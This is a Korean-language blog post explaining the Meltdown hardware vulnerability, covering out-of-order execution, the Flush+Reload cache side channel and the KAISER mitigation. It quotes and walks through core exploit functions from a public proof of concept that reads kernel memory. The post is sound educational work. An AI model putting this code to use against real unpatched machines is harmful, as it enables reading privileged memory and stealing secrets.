성능과 바꾼 보안 Part. 1: Meltdown
보안 취약점은 악의적인 사용자가 컴퓨터에 대해 허용되지 않은 행위를 위해 이용할 수 있는 약점이다.[1] 이러한 취약점이 소프트웨어에 대한 것이라면, 업데이트를 통해 해결할 수 있다. 하지만 하드웨어에 취약점이 있다면 어떨까? 소프트웨어와는 달리, 하드웨어는 그러한 일이 쉽지 않다. 특히나 취약점이 있는 하드웨어가 매우 유명하고, 널리 사용된다면 취약점을 고치는 입장에서는 악몽이나 다름없다. 이러한 일이 2018년[2]에 인텔에 발생했다. 흥미로운 점은, 이 문제가 성능을 위한 최적화 때문에 발생했다는 점에 있다.
커널 영역과 사용자 영역
우선 여기에서 소개하는 취약점을 제대로 이해하기 위해서는 OS의 메모리 관리에 대한 이해가 필요하다. C/C++을 배울 때 포인터를 설명하는 대부분의 자료에서는 메모리 주소를 하나의 거대한 1차원 배열인 것처럼 설명한다. 하지만 현실은 이와는 많은 차이가 있다. 여기서는 이 취약점들을 이해할 수 있을 만큼만 메모리 관리에 대해 알아보자.
OS가 나누는 메모리 공간은 크게 두 가지로 구분할 수 있다. 바로 커널 영역(kernel space)와 사용자 영역(user space)이다. 커널 영역은 OS의 코드, 장치 드라이버[3]들을 위한 메모리 공간이다. OS의 코드가 여기에서 실행되기 때문에 이 공간의 메모리는 임의로 수정될 경우 시스템 전체에 영향을 끼칠 수도 있다. 따라서 커널 영역은 메모리 접근 권한 등을 통해 허용된 코드(OS 코드와 장치 드라이버 코드 등)만이 접근할 수 있도록 제한된다. 반면, 사용자 영역은 이러한 제한이 없는 메모리 공간이다. 우리가 마주하는 대부분의 프로그램(웹 브라우저, 텍스트 편집기, 게임[4] 등등)은 이 사용자 영역에서 실행된다. 여기서 다루는 취약점을 포함한 많은 취약점들과 공격 방법은, 이 커널 영역에 자연히 관심을 가진다. 현재 쓰이는 OS는 대부분 물리적인 메모리 전체를 커널 영역에 대응시키기 때문이다. 따라서 커널 영역의 메모리를 읽을 수 있다면 컴퓨터의 메모리 전체를 읽는 것이나 다름없고, 공격자는 원하는 정보를 가져올 수 있게 된다.
Meltdown
Meltdown은 권한을 가지지 않는 커널 영역의 메모리를 읽어들이는 취약점이다. 이 취약점을 이용한 공격은 크게 두 부분으로 나눌 수 있다.
- 비순차 실행을 통해 캐시에 메모리 값을 가져온다.
- cache side channel을 이용하여 캐시에 담겨 있는 메모리 값을 읽는다.
캐시에 메모리 값 가져오기
CPU는 컴퓨터에서 가장 빠르고, 가장 많은 변화가 있었던 요소라고 할 수 있다. 다르게 말하면, CPU 입장에서는 다른 구성요소가 상대적으로 느리다는 것이다. 우리와 같은 사람 입장에서는 CPU가 한 사이클을 도는 데 걸리는 시간이나, 메모리에서 값을 가져오는 시간이나 비슷하게 느껴지겠지만 말이다. 다음 표를 참고하자.[5]
작업 | 수행 시간 |
---|---|
어셈블리 명령어 1개 실행 | 1 ns |
L1 캐시에서 값 가져오기 | 0.5 ns |
L2 캐시에서 값 가져오기 | 7 ns |
뮤텍스 잠금/잠금 해제 | 25 ns |
메모리에서 값 가져오기 | 100 ns |
메모리에서 순차적으로 1MB 읽기 | 250,000 ns |
디스크에서 순차적으로 1MB 읽기 | 20,000,000 ns |
미국에서 유럽으로 패킷 왕복 | 150,000,000 ns |
표에서 볼 수 있듯, CPU의 속도에 비해 메모리와 주변장치의 속도는 엄청나게 느리다.(메모리에서 값이 올 때까지 기다리는 동안 CPU는 명령어 100개를 실행할 수 있다.) 이렇게 주변장치를 마냥 기다리면서 일어나는 성능 저하를 막기 위해 비순차 실행(out-of-order execution)이라는 기술이 개발되었다. 비순차 실행은 CPU가 메모리에서 값을 기다리는 동안, 다음 명령어들을 미리 실행시키는 기술이다. 미리 실행된 명령어들의 결과는 캐시라는, 프로세서가 매우 빠르게 접근할 수 있는 저장 장치에 들어간다. Meltdown은 바로 이 비순차 실행을 악용한 취약점이다. 다음 코드를 생각해 보자.
raise_exception()
access(probe_array[data * 4096]);
이 코드에서, 첫 번째 줄은 함수 이름이 의미하는 것처럼 예외(에러)를 발생시킨다. 이러한 예외의 종류에는 여러 가지가 있을 수 있는데, 대표적인 것으로 1/0
의 결과를 계산하는 등의 산술 예외, 잘못되거나 권한이 없는 메모리 주소에 접근할 때 생기는 메모리 접근 관련 예외 등이 있다. 이론적으로는 예외가 발생하면 프로그램의 실행이 멈추고, 예외 처리기가 실행되거나 종료되기 때문에 2번째 줄은 직접적으로 실행될 일이 없다. 하지만, 비순차 실행을 지원하는 프로세서에서는 2번째 줄이 이미 실행되고, 캐시에 값이 저장되었을 것이다. 문제는 이 캐시에 저장된 값이 예외가 발생하면서 지워져야 하지만 실제로는 계속 남아 있다는 것이다. 이를 악용하는 방법은 간단하다. 위 코드에서, 변수 data
가 일반적인 상황에서는 권한이 없는 데이터, 예를 들어 커널 메모리의 한 바이트라고 하자. 이 경우 data
는 0
에서 0xff
사이의 어떤 값이므로, probe_array
를 0
부터 0xff * 4096
번째 인덱스까지 256번 접근을 시도하여 접근 시간이 가장 짧은 값을 찾으면 된다. probe_array
의 data * 4096
번째 인덱스의 있는 값은 비순차 실행에 의해 캐시에 담겨 있을 것이고, 메모리에 직접 접근하는 것보다 훨씬 빠르게 프로세서가 응답을 할 것이기 때문이다. 이제 이 캐시에 담긴 데이터를 신뢰도 있게 가져오기 위해서는 side channel을 사용해야 한다.
Cache side channel을 이용하여 메모리 값 읽기
Side channel, 또는 side channel attack은 소프트웨어를 공격하기 위해 알고리즘의 문제점을 공격하기보다는, 구현과 관련된 디테일을 통해 공격을 시도하는 방법이다. Cache side channel은 이러한 side channel attack 중에서 CPU의 캐시를 이용한다. 이 cache side channel 공격을 이용하면 앞서 나온 비순차 실행의 문제점을 통해 캐시에 가져온 데이터를 읽어올 수 있다. 이러한 cache side channel에도 여러 방법이 있는데, 여기에서는 Meltdown의 논문에서 사용된 Flush+Reload 공격을 살펴본다.
Flush+Reload는 공격 대상 프로세스(앞으로 편의상 '대상'이라고 부르자.[6])가 공격하는 프로세스(앞으로 편의상 '공격자'라고 부르자.[6:1])와 같은 페이지[7]에 있을 때 사용 가능한 방법이다. '대상'이 '공격자'와 같은 페이지에 있으면, '공격자'는 '대상'의 메모리를 clflush
명령어를 이용하여 캐시에서 비워버릴(flush) 수 있다. 이후 '공격자'는 '대상'이 메모리에 접근하도록 하는데, 만약 '대상'이 비운 캐시에 있던 메모리에 접근한다면, 캐시에는 공격자가 비운 내용이 다시 들어갈 것이고, '공격자'가 이후 메모리에 접근할 때 시간이 적게 걸릴 것이다. 나중에 코드 설명에서 더 자세히 알아보겠지만, Meltdown의 구현체 libkdump에서는 Flush+Reload를 다음과 같이 구현한다.[8]
static inline void maccess(void *p) {
asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax");
}
static int __attribute__((always_inline)) flush_reload(void *ptr) {
uint64_t start = 0, end = 0;
start = rdtsc();
maccess(ptr);
end = rdtsc();
flush(ptr);
if (end - start < config.cache_miss_threshold) {
return 1;
}
return 0;
}
코드에서 rdtsc
를 이용해 시간(정확히는 클럭 카운터)를 메모리 접근 전후에 받아오고, 나중 시간에서 처음 시간을 빼서 임계치 config.cache_miss_threshold
와 비교하는 것을 눈여겨보자.
공격의 구현
Meltdown은 앞서 말한 libkdump라는 라이브러리의 형태로 구현되어 있다. 이 라이브러리의 코드를 통해 Meltdown의 구현에 대해 알아보자.
라이브러리에서 중요한 함수는 커널 메모리를 읽어오는 libkdump_read
함수이다. 이 함수와 관련된 함수들의 코드를 살펴보자.
int __attribute__((optimize("-Os"), noinline)) libkdump_read_signal_handler() {
size_t retries = config.retries + 1;
uint64_t start = 0, end = 0;
while (retries--) {
if (!setjmp(buf)) {
asm volatile(
" movzx (%%rcx), %%rax\n"
" shl $12, %%rax\n"
" movq (%%rbx,%%rax,1), %%rbx\n"
:
: "c"(phys), "b"(mem)
: "rax");
}
int i;
for (i = 0; i < 256; i++) {
if (flush_reload(mem + i * 4096)) {
if (i >= 1) {
return i;
}
}
sched_yield();
}
sched_yield();
}
return 0;
}
int __attribute__((optimize("-O0"))) libkdump_read(size_t addr) {
phys = addr;
char res_stat[256];
int i, j, r;
for (i = 0; i < 256; i++)
res_stat[i] = 0;
sched_yield();
for (i = 0; i < config.measurements; i++) {
if (config.fault_handling == TSX) {
r = libkdump_read_tsx();
} else {
r = libkdump_read_signal_handler();
}
res_stat[r]++;
}
int max_v = 0, max_i = 0;
if (dbg) {
for (i = 0; i < sizeof(res_stat); i++) {
if (res_stat[i] == 0)
continue;
debug(INFO, "res_stat[%x] = %d\n",
i, res_stat[i]);
}
}
for (i = 1; i < 256; i++) {
if (res_stat[i] > max_v && res_stat[i] >= config.accept_after) {
max_v = res_stat[i];
max_i = i;
}
}
return max_i;
}
커널 메모리를 읽어오기 위해 공격자는 libkdump_read
함수를 주소를 지정하여 실행한다. 이 함수에서는 libkdump_read_signal_handler
함수[9]를 여러 번 실행하여 해당하는 커널 메모리의 바이트값을 읽는다. 이때 여러 가지 요인[10]으로 인해 결과값이 달라질 수 있기 때문에, res_stat
이라는 배열에 어떤 바이트값이 몇 번 나왔는지를 저장한다. 예를 들어 res_stat[0x42]
에는 읽은 바이트값이 0x42
인 경우가 몇 번 있었는지가 저장된다. config.measurements
만큼 측정을 한 이후에는 가장 많이 나온 바이트값을 리턴한다.
libkdump_read_signal_handler
함수에서는 우선 예외를 일으키는 어셈블리 코드를 실행한 다음, 앞서 나온 Flush+Reload 공격으로 메모리 값을 읽는다. 작동 원리를 자세히 알기 위해, 어셈블리 코드의 내용을 좀 더 살펴보자. 우선 movzx (%%rcx), %%rax
는 phys
라는 변수에 담긴 주소의 커널 메모리 바이트를 rax
레지스터에 넣는다. 레지스터는 CPU 내부에서 프로그래머가 원하는 대로 값을 바꿀 수 있는 저장소이다. C/C++이나 파이썬 같은 언어의 변수와 대응된다고 할 수 있다. 변수의 경우 원하는 만큼 만들어 낼 수 있고 문자열이나 객체와 같이 원하는 데이터 타입을 넣을 수 있지만, 레지스터는 개수가 한정되어 있고 64비트(또는 아키텍쳐에 따라 32비트) 정수들[11]만 넣을 수 있다는 차이점이 존재하기는 하다. 이후의 shl
명령어는 rax
레지스터의 값을 12만큼 left shift한다. 다르게 말하면, 2^12=4096
을 rax
레지스터의 값에 곱하는 것이다. 그 다음에 나오는 movq
명령어는 주소 mem + rax
에 있는 프로그램 메모리의 바이트를 읽어서 rbx
에 넣는다. 이는 읽으려는 커널 메모리 바이트가 x
일때, mem + 4096 * x
주소의 메모리를 참조하는 것과 같다. CPU는 movzx
명령어 근방에서 잘못된 메모리 참조를 감지하고 예외를 발생시키지만, 앞서 설명했듯 비순차 실행 때문에 뒤의 명령어들은 이미 실행이 되었고, mem + 4096 * x
주소의 메모리는 이미 CPU 캐시에 저장되었을 것이다.
if (!setjmp(buf))
에서는 예외 발생시 프로그램이 종료되는 것이 아니라 libkdump_read_signal_handler
함수로 다시 실행 흐름이 돌아오도록 점프를 설정한다. 어셈블리 코드 실행 후에 예외가 발생하면, if
문 다음에 오는 for
문에서 Flush+Reload를 이용하여 i
를 0부터 255까지 바꾸어 가면서, mem + 4096 * i
주소의 메모리가 캐시에 담겨 있는지 검사한다. 만약 이 주소의 메모리가 캐시에 있는 것으로 판정되면, x
의 값을 알게 되고, 커널 메모리의 한 바이트를 읽을 수 있는 것이다. 또 여기에서 if
문을 통해 읽은 메모리 값이 0인지 판정하고, 아니면 다시 시도하는 것을 볼 수 있는데, 이는 Meltdown의 태생적 한계[12] 때문에 결과값이 0으로 잘못 나오는 경우가 있기 때문이다.
Meltdown의 소프트웨어 해결책, KAISER
이러한 Meltdown을 고치기 위해서는 크게 두 가지 방법이 있다고 할 수 있다. 프로세서 설계 자체를 고치는 것과 OS를 수정하여 공격을 불가능하게 만드는 것이다. 프로세서 설계를 고치는 것은 근본적이라는 것에서 장점이 있지만, 이미 사용되고 있는 CPU를 고칠 방법이 없다는 것이 문제이다. 인텔은 2018년 4분기에 출시된 9세대 프로세서들에서 Meltdown에 대한 설계 수정을 적용했고, 그 이전 프로세서들은 소프트웨어 패치를 통해 문제를 해결하였다.
리눅스, 윈도우, macOS 등에 적용된 소프트웨어 패치는 모두 리눅스의 KAISER라는 기능과 연관되어 있다. KAISER를 적용할 경우, 실제 메모리가 커널 메모리에 일대일로 대응되는 것이 아니라, 인터럽트 등의 OS 동작을 위한 필수적인 실제 메모리 영역을 제외하고는 모두 커널 메모리에 대응시키지 않는 것이다. 따라서 Meltdown 공격을 수행하여도 공격자는 원하는 데이터를 얻을 수 없게 된다.
하지만 KAISER에 장점만 있는 것은 아니다. KAISER를 적용하면 시스템 콜 호출이나 인터럽트가 적용하지 않았을 때보다 더 느려진다. 시스템 콜과 인터럽트는 많은 프로그램과 드라이버, OS가 이용하므로 거의 모든 작업에서 성능 저하가 일어난다는 문제점이 있다.
Meltdown 이후
Meltdown의 발견 이후, 많은 보안 전문가들은 이 취약점에 대하여 우려를 표하였다. Meltdown의 발견자 중 한명인 Paul Kocher는 Meltdown과 비슷한 취약점들이 여럿 발견될 것이라고 경고했고, 그의 예상은 적중했다. Meltdown과 비슷한 종류의 공격을 일시적 실행 공격(transient execution attack)이라고 부르는데, 이러한 종류의 공격들은 2018년부터 지금까지도 계속 발견되고 있다. 몇 가지 예를 들면 Foreshadow, ZombieLoad, CacheOut과 SGAxe, LVI와 같은 취약점[13]들이 있고 이들 중 몇몇은 제대로 패치도 되지 않은 상태이다. 심지어 이러한 공격들을 소프트웨어적으로 패치하기 위해서는 변수 접근과 같은 가장 기본적인 연산들에 대해서도 lfence
와 같은 명령어로 보호를 해야 하는 등 성능에 큰 타격을 입는다. 이러한 취약점 패치에 의한 성능 패널티는 이제까지 보안 대신에 성능을 추구했던 발전 방향에 대한 대가라고 할 수 있을 것이다.
더 읽을거리
- Meltdown 논문: Meltdown을 발견한 연구자들이 발표한 논문이다. 이 글에서 주로 참고하였다.
- Meltdown의 PoC 코드: Meltdown 취약점을 이용하여 커널 메모리를 읽는 코드이다. 대부분의 OS에서 KAISER 등의 Meltdown 관련 패치가 끝난지 오래되었기 때문에, 아마 제대로 동작하지는 않을 것이다. 정말 실행시키고 싶다면 리눅스 VM을 하나 만들고, 패치 이전의 커널을 컴파일하여 사용하면 될 것이다.
- Flush+Reload 논문: Flush+Reload를 개발한 연구자들이 발표한 논문이다. Flush+Reload를 다루는 부분에서 참고하였다.
- Google Project Zero의 분석: Meltdown을 독립적으로 발견한 Google Project Zero의 글이다. 논문보다 공격의 활용 방향에 대한 설명이 많고, 좀 더 엔지니어링과 관련된 부분들이 있다.
- LWN의 KAISER를 다룬 글: Meltdown을 소프트웨어적으로 해결하는 리눅스 커널 패치 KAISER에 대해 간단히 다룬 글이다. 논문을 읽기 전에 살펴보는 것을 추천한다.
- KAISER 논문: KAISER를 개발한 연구자들의 논문이다. 공교롭게도 Meltdown의 발견자들도 이 연구에 참여하였다.
- Spectre 논문: Meltdown과 함께 발견된 취약점인 Spectre에 대한 논문이다. Meltdown과 비슷한 점을 여럿 공유하고 있고, 다음 파트에서는 이 취약점을 다룰 예정이다.
예정이라고 했지 정말 할건지는 모른다
In computer security, a vulnerability is a weakness which can be exploited by a threat actor, such as an attacker, to perform unauthorized actions within a computer system. 출처 ↩︎
사실 Meltdown과 Spectre가 발견된 시기는 2017년이나 그보다 이전이지만, 공개된 시기는 2018년 1월이다. ↩︎
사용자 영역에서 실행되는 장치 드라이버도 있다. ↩︎
모든 드라이버가 커널 영역에서 실행되지 않듯, 게임의 100%가 사용자 영역에서 실행되지는 않는다. 발로란트는 치팅을 막기 위해 커널 영역에서 구동되는 소프트웨어를 사용한다. ↩︎
원래 논문에서는 'victim'과 'spy'라고 부른다. 이것보다 더 좋은 번역이 있으면 추천 바란다. ↩︎ ↩︎
OS는 메모리 관리를 효율적으로 하기 위해 사용 가능한 메모리 공간을 일정 크기(보통 4KB이고, hugepages와 같은 설정에 따라 다를수도 있다.)로 나누는데, 이 일정 크기로 나눈 한 조각을 페이지라고 한다. ↩︎
코드 출처: https://github.com/IAIK/meltdown/blob/master/libkdump/libkdump.c ↩︎
코드를 읽어보면 알 수 있지만, 인텔 CPU에서 사용되는 기술 중 하나인 TSX를 이용하여 예외를 처리할 수도 있다. TSX를 사용할지, UNIX 시그널 핸들링을 사용할지는 컴파일러 옵션과
config
구조체의 값에 따라 달라지는데, 여기서는 UNIX 시그널 핸들링을 이용한 방법을 살펴본다. TSX가 궁금하다면 libkdump 코드와 관련 자료를 찾아보자. ↩︎CPU는 복잡한 장치이고, 실제로 CPU가 어떤 상황에서 정확히 어떤 결과를 내놓는지는 세세한 설계를 알고 있는 인텔만이 알 수 있다. 따라서 side channel등으로 측정을 할 때 경우에 따라 부정확한 값이 나올 가능성을 염두에 두어야 한다. ↩︎
물론 부동소수점 실수를 저장하는 x87 FPU 레지스터 등도 존재하지만, 결국 이들도 내부적으로는 비트로 이루어진 정수를 사용한다. ↩︎
이는 Meltdown 논문의 "5.2 Optimizations and Limitations"의 "Inherent bias towards 0." 항목에서 자세히 설명되어 있다. ↩︎
이 시리즈에서는 아마 ZombieLoad하고 LVI는 다룰 것 같은데, 사실 어떻게 될지는 아무도 모른다.
기대하지 마시라↩︎